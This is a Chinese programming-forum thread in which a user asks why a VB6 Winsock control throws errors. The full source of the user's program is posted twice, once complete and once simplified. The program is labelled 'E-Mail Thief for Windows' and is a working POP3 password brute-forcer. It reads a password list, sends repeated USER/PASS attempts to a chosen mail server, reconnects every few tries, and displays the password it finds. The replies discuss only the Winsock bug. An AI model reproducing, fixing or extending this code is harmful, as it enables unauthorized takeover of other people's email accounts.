你是否同时使用多个Winsock控件???如果是,这个错误是VB6.0/5.0的一个BUG,你安装Visual Studio 6.0 Service Pack 5后即可避免这个错误

解决方案 »

  1.   

    是的,我用了两个winsock
    但安装sp5后还是有问题
      

  2.   

    To hhdsq:
    代码没有什么注解,请您费心了:Public m_State1 As Integer
    'm_State=0--------->POP3_Connect
    'm_State=1--------->POP3_USER
    'm_State=2--------->POP3_PASS
    Public UserNm1 As String
    Public Passwd1 As String
    Public ShT11, ShT21, ShT31, ShT41, ShT51, ShT61, ShT71, ShT81, ShT91 As String
    Public ShowText1 As String
    Public UsNmFile1 As String
    Public PasswdFile1 As String
    Public PasswdTry1 As Integer
    Public Success1 As Boolean
    Public FileLong1 As Integer
    Public Counter1 As IntegerPublic m_State2 As Integer
    'm_State=0--------->POP3_Connect
    'm_State=1--------->POP3_USER
    'm_State=2--------->POP3_PASS
    Public UserNm2 As String
    Public Passwd2 As String
    Public ShT12, ShT22, ShT32, ShT42, ShT52, ShT62, ShT72, ShT82, ShT92 As String
    Public ShowText2 As String
    Public UsNmFile2 As String
    Public PasswdFile2 As String
    Public PasswdTry2 As Integer
    Public Success2 As Boolean
    Public FileLong2 As Integer
    Public Counter2 As IntegerPrivate Sub Command1_Click()
    CommonDialog2.Filter = "Text File(*.txt)|*.txt"
    CommonDialog2.ShowOpen
    Text9.Text = CommonDialog2.FileNameEnd SubPrivate Sub Command2_Click()
    CommonDialog1.Filter = "Text File(*.txt)|*.txt"
    CommonDialog1.ShowOpen
    Text4.Text = CommonDialog1.FileNameEnd SubPrivate Sub Command3_Click()
     'Check the emptiness of all the text
     PasswdTry1 = 0
     Text5.Text = Str(PasswdTry1)
     Success1 = False
     Command3.Enabled = False
     Command4.Enabled = True
        If Len(Text1.Text) = 0 Then
            MsgBox "Please input IP of mail server.", vbCritical
            Command4.Enabled = False
            Command3.Enabled = True
            Exit Sub
        End If
        If Len(Text2.Text) = 0 Then
            MsgBox "Please input port number (110).", vbCritical
            Command4.Enabled = False
            Command3.Enabled = True
            Exit Sub
        End If
        If Len(Text3.Text) = 0 Then
            MsgBox "Please input username.", vbCritical
            Command4.Enabled = False
            Command3.Enabled = True
            Exit Sub
        End If
        If Len(Text4.Text) = 0 Then
            MsgBox "Please choose a password list file.", vbCritical
            Command4.Enabled = False
            Command3.Enabled = True
            Exit Sub
            End Ifm_State1 = 0
    Close #2PasswdFile1 = Text4.Text
    On Error GoTo PasswdFileErr1
    SubFileLong1
    Open PasswdFile1 For Input As #2
    Line Input #2, Passwd1
    '整个程序中只有三处Line Input语句。第一处在这里,每次click_command3都会读出一个Passwd
    '第二处在Winsock1_DataArrival中,每有一次错误的密码输入,都会再读一个
    '第三处用作统计密码文件中记录的个数
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
        DoEvents
    End If
    Winsock1.LocalPort = 0
    On Error GoTo CantConnection1
    Winsock1.Connect Text1.Text, Val(Text2.Text)
    DoEvents
    UserNm1 = Text3.Text
    Exit Sub
    PasswdFileErr1:
        MsgBox "Can't read password list. ", vbCritical
        Debug.Print Error
        Command4.Enabled = False
        Command3.Enabled = True
        Exit Sub
    CantConnection1:
        MsgBox "Can't connect to the server. ", vbCritical
        Command4.Enabled = False
        Command3.Enabled = True
        Exit Sub
                
    End SubPrivate Sub Command4_Click()
    Call StopIt1
    End SubPrivate Sub Command8_Click()
    Call StopIt2
    End SubPrivate Sub Command5_Click()
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
        DoEvents
    End If
    If Winsock2.State <> sckClosed Then
        Winsock2.Close
    End If
    End
    End SubPrivate Sub Command6_Click()
    ShowText1 = "E-Mail Thief  for  Windows"
    ShowIt1
    Sleep (20)
    ShowText1 = "Version  2.00  Build  1212"
    ShowIt1
    Sleep (20)
    ShowText1 = ""
    ShowIt1
    Sleep (20)
    ShowText1 = "Sonicsoft  Corporation"
    ShowIt1
    Sleep (20)
    ShowText1 = "Author: Zhang  Xu"
    ShowIt1
    Sleep (20)
    ShowText1 = "E-mail: [email protected]"
    ShowIt1
    Sleep (20)
    ShowText1 = "               [email protected]"
    ShowIt1
    Sleep (20)
    ShowText1 = ""
    ShowIt1
    Sleep (20)
    ShowText1 = "Copyright (C) 2001-2002 Sonicsoft Corporation "
    ShowIt1
    Sleep (20)
    End SubPrivate Sub Command7_Click()    '----------同Private Sub Command3_Click()
     'Check the emptiness of all the text
     PasswdTry2 = 0
     Text10.Text = Str(PasswdTry2)
     Success2 = False
     Command7.Enabled = False
     Command8.Enabled = True
        If Len(Text6.Text) = 0 Then
            MsgBox "Please input IP of mail server.", vbCritical
            Command8.Enabled = False
            Command7.Enabled = True
            Exit Sub
        End If
        If Len(Text7.Text) = 0 Then
            MsgBox "Please input port number (110).", vbCritical
            Command8.Enabled = False
            Command7.Enabled = True
            Exit Sub
        End If
        If Len(Text8.Text) = 0 Then
            MsgBox "Please input username.", vbCritical
            Command8.Enabled = False
            Command7.Enabled = True
            Exit Sub
        End If
        If Len(Text9.Text) = 0 Then
            MsgBox "Please choose a password list file.", vbCritical
            Command8.Enabled = False
            Command7.Enabled = True
            Exit Sub
            End Ifm_State2 = 0
    Close #4PasswdFile2 = Text9.Text
    On Error GoTo PasswdFileErr2
    SubFileLong2
    Open PasswdFile2 For Input As #4
    Line Input #4, Passwd2
    '整个程序中只有三处Line Input语句。第一处在这里,每次click_command3都会读出一个Passwd
    '第二处在Winsock1_DataArrival中,每有一次错误的密码输入,都会再读一个
    '第三处用作统计密码文件中记录的个数
    If Winsock2.State <> sckClosed Then
        Winsock2.Close
        DoEvents
    End If
    Winsock2.LocalPort = 0
    On Error GoTo CantConnection2
    Winsock2.Connect Text6.Text, Val(Text7.Text)
    DoEvents
    UserNm2 = Text8.Text
    Exit Sub
    PasswdFileErr2:
        MsgBox "Can't read password list. ", vbCritical
        Debug.Print Error
        Command8.Enabled = False
        Command7.Enabled = True
        Exit Sub
    CantConnection2:
        MsgBox "Can't connect to the server. ", vbCritical
        Command8.Enabled = False
        Command7.Enabled = True
        Exit Sub
                End SubPrivate Sub Form_Load()
    ShowText1 = "E-Mail Thief  for  Windows"
    ShowIt1
    ShowText1 = "Version  2.00  Build  1212"
    ShowIt1
    ShowText1 = ""
    ShowIt1
    ShowText1 = "Sonicsoft  Corporation"
    ShowIt1
    ShowText1 = "Author:  Zhang  Xu"
    ShowIt1
    ShowText1 = "E-mail: [email protected]"
    ShowIt1
    ShowText1 = "               [email protected]"
    ShowIt1
    ShowText1 = ""
    ShowIt1
    ShowText1 = "Copyright (C) 2001-2002 Sonicsoft Corporation "
    ShowIt1
    ShowText2 = "Warning: this computer program is protected by"
    ShowIt2
    ShowText2 = "copyright law and international treaties. Unauth-"
    ShowIt2
    ShowText2 = "orized reproduction may result in severe civil"
    ShowIt2
    ShowText2 = "and criminal penalties, and will be prosecuted"
    ShowIt2
    ShowText2 = "to the maximum extent possible under the law. "
    ShowIt2
    ShowText2 = ""
    ShowIt2
    ShowText2 = "To the extent permitted by applicable law, in no"
    ShowIt2
    ShowText2 = " event shall Sonicsoft be liable for any damages."
    ShowIt2
    ShowText2 = ""
    ShowIt2
    End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strData As String
        
    Winsock1.GetData strData
    DoEvents
    Debug.Print strData
    ShowText1 = Left(strData, Len(strData) - 2)
    Call ShowIt1
    If Left$(strData, 1) = "+" Then
        Select Case m_State1
            Case 0 '---------------已经连接,等待输入UserName
                m_State1 = 1
                Winsock1.SendData "USER " & UserNm1 & vbCrLf
                DoEvents
                Debug.Print "USER " & UserNm1
                ShowText1 = "USER " & UserNm1
                Call ShowIt1
            Case 1 '---------------等待输入PassWord
                m_State1 = 2
                    
                Winsock1.SendData "PASS " & Passwd1 & vbCrLf
                DoEvents
                Debug.Print "PASS " & Passwd1
                ShowText1 = "PASS " & Passwd1
                Call ShowIt1
                PasswdTry1 = PasswdTry1 + 1
                Text5.Text = Str(PasswdTry1)
                ProgressBar2.Value = PasswdTry1 / FileLong1 * 100
            Case 2 '---------------PassWord通过
                m_State1 = 0
                Beep
                Debug.Print "QUIT"
                ShowText1 = "QUIT"
                Call ShowIt1
                Success1 = True
                ShowText1 = "---------------"
                ShowIt1
                ShowText1 = "I get it!"
                ShowIt1
                ShowText1 = "User: " + UserNm1
                ShowIt1
                ShowText1 = "Password: " + Passwd1
                ShowIt1
                ShowText1 = "---------------"
                ShowIt1
                PasswdTry1 = PasswdTry1 + 1
                ProgressBar2.Value = 100
                Text5.Text = Str(PasswdTry1)
                            
                Winsock1.SendData "QUIT" & vbCrLf
                DoEvents
                If Winsock1.State <> sckClosed Then
                    Winsock1.Close
                    DoEvents
                End If
                Command3.Enabled = True
                Command4.Enabled = False
        End Select
    Else
        If m_State1 = 0 Then '--------------- 错误地址
            ShowText1 = "Server Error."
            ShowIt1
            ShowText1 = "Input the Server again or Try later."
            ShowIt1
            ShowText1 = "---------------"
            ShowIt1
            Call StopIt1
            Beep
            Command3.Enabled = True
            Command4.Enabled = False
        ElseIf m_State1 = 1 Then '--------------- 无此用户
            ShowText1 = "No such a user."
            ShowIt1
            ShowText1 = "---------------"
            ShowIt1
            StopIt1
            Beep
            Command3.Enabled = True
            Command4.Enabled = False
        ElseIf m_State1 = 2 Then '---------------密码不正确
            If EOF(2) Then  '---如果Password用完
                Debug.Print "Winsock1="; Winsock1.State
                ShowText1 = "User " & UserNm1 & " completed"
                ShowIt1
                ShowText1 = "But no password found."
                ShowIt1
                ShowText1 = "---------------"
                ShowIt1
                If Winsock1.State <> sckClosed Then
                    Winsock1.Close
                    DoEvents
                End If
                Close #2    '关闭pass.
            Beep
            Command3.Enabled = True
            Command4.Enabled = False
            Else    '---password没用完
                Line Input #2, Passwd1
                Counter1 = Counter1 + 1
                If Counter1 = 3 Or Check1.Value = 0 Then
                    Counter1 = 0
                    m_State1 = 1
                    On Error GoTo Error40006:
                    Debug.Print "Winsock1.State="; Winsock1.State
                    Winsock1.SendData ("QUIT")
                    DoEvents
                    'PasswdTry = PasswdTry + 1
                    'ProgressBar2.Value = PasswdTry / FileLong * 100
                    Debug.Print "QUIT"
                    ShowText1 = "QUIT"
                    
                    ShowIt1
                    SendUP1
                Else
                    m_State1 = 1
                    Winsock1.SendData "USER " & UserNm1 & vbCrLf
                    DoEvents
                    Debug.Print "USER " & UserNm1
                    ShowText1 = "USER " & UserNm1
                    Call ShowIt1
                End If
            End If
       End If
    End If
    Exit Sub
    Error40006:
    Debug.Print Error
    End SubSub ShowIt1()
    ShT11 = ShT21: ShT21 = ShT31: ShT31 = ShT41
    ShT41 = ShT51: ShT51 = ShT61: ShT61 = ShT71
    ShT71 = ShT81: ShT81 = ShT91: ShT91 = ShowText1Label11.Caption = ShT11 & vbCrLf & ShT21 & vbCrLf & ShT31 & vbCrLf & ShT41 & vbCrLf & ShT51 & vbCrLf & ShT61 & vbCrLf & ShT71 & vbCrLf & ShT81 & vbCrLf & ShT91
    DoEvents
    Sleep (10)
    End SubSub ShowIt2()
    ShT12 = ShT22: ShT22 = ShT32: ShT32 = ShT42
    ShT42 = ShT52: ShT52 = ShT62: ShT62 = ShT72
    ShT72 = ShT82: ShT82 = ShT92: ShT92 = ShowText2Label13.Caption = ShT12 & vbCrLf & ShT22 & vbCrLf & ShT32 & vbCrLf & ShT42 & vbCrLf & ShT52 & vbCrLf & ShT62 & vbCrLf & ShT72 & vbCrLf & ShT82 & vbCrLf & ShT92
    DoEvents
    Sleep (10)
    End SubSub StopIt1()
        ProgressBar2.Value = 0
        m_State1 = 0
        PasswdTry1 = 0
        Counter1 = 0
        Text5 = Str(PasswdTry1)
        If Winsock1.State <> sckClosed Then
            Winsock1.Close
            DoEvents
        End If
        ShowText1 = "Action Stop!"
        ShowIt1
        If Success1 = False Then
            ShowText1 = "No password found."
            ShowIt1
            ShowText1 = "---------------"
            ShowIt1
        Else
            ShowText1 = "User: " + UserNm1
            ShowIt1
            ShowText1 = "Password: " + Passwd1
            ShowIt1
            ShowText1 = "---------------"
            ShowIt1
        End If
        Command3.Enabled = True
        Command4.Enabled = False
        Success1 = False
    End SubSub StopIt2()
        ProgressBar4.Value = 0
        m_State2 = 0
        PasswdTry2 = 0
        Counter2 = 0
        Text10 = Str(PasswdTry2)
        If Winsock2.State <> sckClosed Then
            Winsock2.Close
            DoEvents
        End If
        ShowText2 = "Action Stop!"
        ShowIt2
        If Success2 = False Then
            ShowText2 = "No password found."
            ShowIt2
            ShowText2 = "---------------"
            ShowIt2
        Else
            ShowText2 = "User: " + UserNm2
            ShowIt2
            ShowText2 = "Password: " + Passwd2
            ShowIt2
            ShowText2 = "---------------"
            ShowIt2
        End If
        Command7.Enabled = True
        Command8.Enabled = False
        Success2 = False
    End Sub
    Sub SubFileLong1()
    Dim TempStr1 As String
    Open PasswdFile1 For Input As #2
    FileLong1 = 0
    Do Until EOF(2)
        Line Input #2, TempStr1
        FileLong1 = FileLong1 + 1
    Loop
    Debug.Print FileLong1
    Close #2
    End SubSub SubFileLong2()
    Dim TempStr2 As String
    Open PasswdFile2 For Input As #4
    FileLong2 = 0
    Do Until EOF(4)
        Line Input #4, TempStr2
        FileLong2 = FileLong2 + 1
    Loop
    Debug.Print FileLong2
    Close #4
    End Sub
    Sub SendUP1()
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
        DoEvents
    End If
    Winsock1.LocalPort = 0
    Winsock1.Connect Text1.Text, Val(Text2.Text)
    ShowText1 = ""
    ShowIt1
    m_State1 = 0
    End SubSub SendUP2()
    If Winsock2.State <> sckClosed Then
        Winsock2.Close
        DoEvents
    End If
    Winsock2.LocalPort = 0
    Winsock2.Connect Text6.Text, Val(Text7.Text)
    ShowText2 = ""
    ShowIt2
    m_State2 = 0
    End SubPrivate Sub Winsock2_DataArrival(ByVal bytesTotal As Long)Dim strData As String
        
    Winsock2.GetData strData
    DoEvents
    Debug.Print strData
    ShowText2 = Left(strData, Len(strData) - 2)
    Call ShowIt2
    If Left$(strData, 1) = "+" Then
        Select Case m_State2
            Case 0 '---------------已经连接,等待输入UserName
                m_State2 = 1
                Winsock2.SendData "USER " & UserNm2 & vbCrLf
                DoEvents
                Debug.Print "USER " & UserNm2
                ShowText2 = "USER " & UserNm2
                Call ShowIt2
            Case 1 '---------------等待输入PassWord
                m_State2 = 2
                    
                Winsock2.SendData "PASS " & Passwd2 & vbCrLf
                DoEvents
                Debug.Print "PASS " & Passwd2
                ShowText2 = "PASS " & Passwd2
                Call ShowIt2
                PasswdTry2 = PasswdTry2 + 1
                Text10.Text = Str(PasswdTry2)
                ProgressBar4.Value = PasswdTry2 / FileLong2 * 100
            Case 2 '---------------PassWord通过
                m_State2 = 0
                Beep
                Debug.Print "QUIT"
                ShowText2 = "QUIT"
                Call ShowIt2
                Success2 = True
                ShowText2 = "---------------"
                ShowIt2
                ShowText2 = "I get it!"
                ShowIt2
                ShowText2 = "User: " + UserNm2
                ShowIt2
                ShowText2 = "Password: " + Passwd2
                ShowIt2
                ShowText2 = "---------------"
                ShowIt2
                PasswdTry2 = PasswdTry2 + 1
                ProgressBar4.Value = 100
                Text10.Text = Str(PasswdTry2)
                
                Winsock2.SendData "QUIT" & vbCrLf
                DoEvents
                If Winsock2.State <> sckClosed Then
                    Winsock2.Close
                    DoEvents
                End If
                Command7.Enabled = True
                Command8.Enabled = False
        End Select
    Else
        If m_State2 = 0 Then '--------------- 错误地址
            ShowText2 = "Server Error."
            ShowIt2
            ShowText2 = "Input the Server again or Try later."
            ShowIt2
            ShowText2 = "---------------"
            ShowIt2
            Call StopIt2
            Beep
            Command7.Enabled = True
            Command8.Enabled = False
        ElseIf m_State2 = 1 Then '--------------- 无此用户
            ShowText2 = "No such a user."
            ShowIt2
            ShowText2 = "---------------"
            ShowIt2
            StopIt2
            Beep
            Command7.Enabled = True
            Command8.Enabled = False
        ElseIf m_State2 = 2 Then '---------------密码不正确
            If EOF(4) Then  '---如果Password用完
                Debug.Print "Winsock2="; Winsock2.State
                ShowText2 = "User " & UserNm2 & " completed"
                ShowIt2
                ShowText2 = "But no password found."
                ShowIt2
                ShowText2 = "---------------"
                ShowIt2
                If Winsock2.State <> sckClosed Then
                    Winsock2.Close
                    DoEvents
                End If
                Close #4    '关闭pass.
            Beep
            Command7.Enabled = True
            Command8.Enabled = False
            Else    '---password没用完
                Line Input #4, Passwd2
                Counter2 = Counter2 + 1
                If Counter2 = 3 Or Check2.Value = 0 Then
                    Counter2 = 0
                    m_State2 = 1
                    Winsock2.SendData ("QUIT")
                    DoEvents
                    'PasswdTry = PasswdTry + 1
                    'ProgressBar2.Value = PasswdTry / FileLong * 100
                    Debug.Print "QUIT"
                    ShowText2 = "QUIT"
                    ShowIt2
                    SendUP2
                Else
                    m_State2 = 1
                    Winsock2.SendData "USER " & UserNm2 & vbCrLf
                    DoEvents
                    Debug.Print "USER " & UserNm2
                    ShowText2 = "USER " & UserNm2
                    Call ShowIt2
                End If
            End If
       End If
    End If
    End Sub
      

  3.   

    我把程序简化了,这样大家看起来清楚一些
    事实上,我在这个窗体中使用了两个winsock(winsock1,winsock2)
    这里,我只列出与winsock1相关的代码。winsock2的代码和winsock1的完全一样
    谢谢大家了!
    Public m_State1 As Integer
    'm_State1=0--------->POP3_Connect
    'm_State1=1--------->POP3_USER
    'm_State1=2--------->POP3_PASS
    Public UserNm1 As String '用户名'
    Public Passwd1 As String '当前密码
    Public PasswdFile1 As String '密码文件名
    Public FileLong1 As Integer '密码文件中记录的条数
    '---------------------------------------------------------
    Private Sub Command3_Click()'-------开始
    Text5.Text = Str(PasswdTry1)
    m_State1 = 0
    Close #2
    PasswdFile1 = Text4.Text
    SubFileLong1
    Open PasswdFile1 For Input As #2
    Line Input #2, Passwd1
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
        DoEvents
    End If
    Winsock1.LocalPort = 0
    Winsock1.Connect Text1.Text, Val(Text2.Text)
    DoEvents
    UserNm1 = Text3.Text
    End Sub'---------------------------------------------------------
    Private Sub Command5_Click()'----------关闭
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
        DoEvents
    End If
    End
    End Sub'---------------------------------------------------------
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strData As String
        
    Winsock1.GetData strData
    DoEvents
    If Left$(strData, 1) = "+" Then
        Select Case m_State1
            Case 0 '---------------已经连接,等待输入UserName
                m_State1 = 1
                Winsock1.SendData "USER " & UserNm1 & vbCrLf
                DoEvents
    Case 1 '---------------等待输入PassWord
                m_State1 = 2
        Winsock1.SendData "PASS " & Passwd1 & vbCrLf
                DoEvents
            Case 2 '---------------PassWord通过
                m_State1 = 0
                Beep
                Winsock1.SendData "QUIT" & vbCrLf
                DoEvents
                If Winsock1.State <> sckClosed Then
                    Winsock1.Close
                    DoEvents
                End If
        End Select
    Else
        If m_State1 = 0 Then '--------------- 错误地址
            Call StopIt1
            Beep
        ElseIf m_State1 = 1 Then '--------------- 无此用户
    Call StopIt1
            Beep
        ElseIf m_State1 = 2 Then '---------------密码不正确
            If EOF(2) Then  '---如果PasswdFile1中的密码全都读完
                If Winsock1.State <> sckClosed Then
                    Winsock1.Close
                    DoEvents
                End If
             Close #2    '关闭PasswdFile1.
             Beep
            Else    '---password没读完
                    m_State1 = 1
                    On Error GoTo Error40006:
                    Debug.Print "Winsock1.State="; Winsock1.State'---------出问题时state=8
                    Winsock1.SendData ("QUIT")'----------问题一般就出在这行
                    DoEvents
                    SendUP1()
            End If
       End If
    End If
    Exit Sub
    Error40006:
    Debug.Print Error
    End Sub
    '---------------------------------------------------------
    Sub StopIt1()'------停止
        m_State1 = 0
        If Winsock1.State <> sckClosed Then
            Winsock1.Close
            DoEvents
        End If
    End Sub
    Sub SendUP1()'------重新初始化winsock
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
        DoEvents
    End If
    Winsock1.LocalPort = 0
    Winsock1.Connect Text1.Text, Val(Text2.Text)
    m_State1 = 0
    End Sub
    谢了!
      

  4.   

    这个错误好象只有在调试,单步运行(F8)的时候才报,编译成EXE文件再运行,或者使用F5都不会出错。
      

  5.   

    不能两个同样性质的socket一起开
      

  6.   

    To Sewen:我很倒霉,编译成exe或F5都报错
    To shuyi:可靠吗?那我该怎样做呢?用控件数组吗?